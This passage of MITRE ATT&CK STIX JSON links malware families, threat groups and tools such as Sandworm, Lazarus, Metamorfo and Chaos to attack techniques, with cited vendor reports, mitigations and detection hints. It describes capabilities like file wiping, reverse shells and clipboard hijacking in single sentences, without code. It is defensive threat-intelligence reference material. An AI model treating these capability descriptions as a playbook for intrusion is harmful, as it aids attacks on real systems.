2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7867218e-78a0-41cf-ada0-8400285b8a1d","created":"2020-06-10T21:56:40.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Telebots Dec 2016","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"},{"source_name":"ESET Telebots July 2017","description":"Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020.","url":"https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/"},{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T18:53:30.482Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used backdoors that can delete files used in an attack from an infected system.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots July 2017)(Citation: Mandiant-Sandworm-Ukraine-2022) ","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--786778a1-d043-49ad-bd73-1834b21f4ac1","type":"relationship","created":"2020-01-24T14:13:46.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:13:46.127Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7869fea0-23fe-4a05-bb16-b33019b9e2c1","type":"relationship","created":"2021-09-21T15:56:53.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Ransomware Trends September 2020","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021."}],"modified":"2021-10-13T21:54:51.831Z","description":"[EKANS](https://attack.mitre.org/software/S0605) can determine the domain of a compromised host.(Citation: IBM Ransomware Trends September 2020)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--786cf397-d548-48c1-9ba6-9af66450928c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.199Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) can remove itself from a system.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--786ef353-11be-4c1b-8951-0b3fff69669c","created":"2024-07-01T21:03:04.588Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:03:04.588Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can enumerate system network connections.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78731c00-1f22-4dab-a3cd-d19fac57e82f","type":"relationship","created":"2020-05-21T14:55:00.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.279Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has monitored files' modified time.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78775a68-6973-43b1-a3d9-a1c9c93c5a3f","type":"relationship","created":"2019-02-19T19:17:15.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LOLBAS Expand","url":"https://lolbas-project.github.io/lolbas/Binaries/Expand/","description":"LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019."}],"modified":"2019-04-19T18:52:30.159Z","description":"[Expand](https://attack.mitre.org/software/S0361) can be used to download or copy a file into an alternate data stream.(Citation: LOLBAS Expand)","relationship_type":"uses","source_ref":"tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7877810d-3995-43ba-aa44-a9d4f9f85a57","created":"2024-09-04T13:21:07.740Z","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T13:21:07.740Z","description":"Use secure out-of-band authentication methods to verify the authenticity of critical actions initiated via email, such as password resets, financial transactions, or access requests. \n\nFor highly sensitive information, utilize out-of-band communication channels instead of relying solely on email. This reduces the risk of sensitive data being collected through compromised email accounts.\n\nSet up out-of-band alerts to notify security teams of unusual email activities, such as mass forwarding or large attachments being sent, which could indicate email collection attempts.\n\nCreate plans for leveraging a secure out-of-band communications channel, rather than an existing in-network email server, in case of a security incident.(Citation: TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--787f09c0-92fe-4208-96e8-86c8e45c9a40","type":"relationship","created":"2020-07-30T19:23:33.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-10-15T00:43:45.414Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has a function to hijack data from the clipboard by monitoring the contents of the clipboard and replacing the cryptocurrency wallet with the attacker's.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--787fd846-e0de-4e86-b7b1-1725058335f5","created":"2023-08-30T16:39:44.088Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-30T16:39:44.088Z","description":"Monitor newly created processes for artifacts, such as `nohup` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, that may attempt to hide processes from interrupt signals.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78865095-f63e-461c-9e32-e202d514747d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.260Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Remote Desktop Protocol to conduct lateral movement.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7888f7bb-92a8-4c5a-abbc-6dcc4ad3e149","created":"2022-09-23T13:03:04.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T19:40:06.966Z","description":"[ccf32](https://attack.mitre.org/software/S1043) has created a hidden directory on targeted systems, naming it after the current local time (year, month, and day).(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--788a6ca2-60ac-4f36-b708-c3a57f087b2b","type":"relationship","created":"2020-06-19T20:04:12.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-10-01T17:41:39.248Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails.(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--788ca56e-1194-4c5f-a12b-72678390f1ef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:49.027Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate system information.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--788d02cb-7a20-4115-9428-b55e598374ce","type":"relationship","created":"2020-07-28T17:59:34.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-29T20:09:34.818Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has used Registry run keys to establish persistence.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--788e8246-d835-42c6-b8b4-7efad31e4a84","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T17:54:16.016Z","description":"A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--788ec1d9-9192-46c9-8bc3-7397ccb854df","type":"relationship","created":"2020-07-01T18:30:55.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2020-07-01T18:30:55.443Z","description":"[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.(Citation: Chaos Stolen Backdoor)","relationship_type":"uses","source_ref":"malware--5bcd5511-6756-4824-a692-e8bb109364af","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7893dc40-721b-4455-b411-3ccda7f4a3a2","type":"relationship","created":"2021-03-01T21:55:30.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:55:30.004Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has used RSA and AES-CBC encryption algorithm to encrypt a list of targeted file extensions.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78968b8c-61ed-44d9-835c-05eb5b2ab169","type":"relationship","created":"2020-10-20T03:23:24.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:28:44.677Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7898362c-a930-4cd4-9c94-019a253af141","type":"relationship","created":"2020-05-06T21:31:07.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.334Z","description":"[Okrum](https://attack.mitre.org/software/S0439) has used base64 to encode C2 communication.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--789a2c4e-9152-4b83-a275-58f6b5262a81","type":"relationship","created":"2020-02-20T18:50:53.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T15:17:30.874Z","description":"Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--789b89f3-0f5e-4e3d-92fd-76611e840947","type":"relationship","created":"2021-06-30T14:53:26.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T14:53:26.903Z","description":"(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.479Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78a49769-fec0-4961-a25d-fc5eab623e93","type":"relationship","created":"2020-05-12T22:05:50.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T22:05:50.747Z","description":"[Mofang](https://attack.mitre.org/groups/G0103)'s spearphishing emails required a user to click the link to connect to a compromised website.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78a7e89b-4560-4105-adfb-47393c39625b","created":"2023-03-17T15:29:42.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T16:37:03.373Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used file hosting services like DropBox and OneDrive.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78aa862c-56a1-477b-b2d0-8d48d1969354","created":"2024-10-07T21:33:46.022Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:33:46.022Z","description":"Applying strict permissions to directories where shortcuts are stored, such as the startup folder, can prevent unauthorized modifications.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78ad31db-6b8e-4433-88b8-49c22994a2ab","type":"relationship","created":"2022-03-22T15:32:50.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. 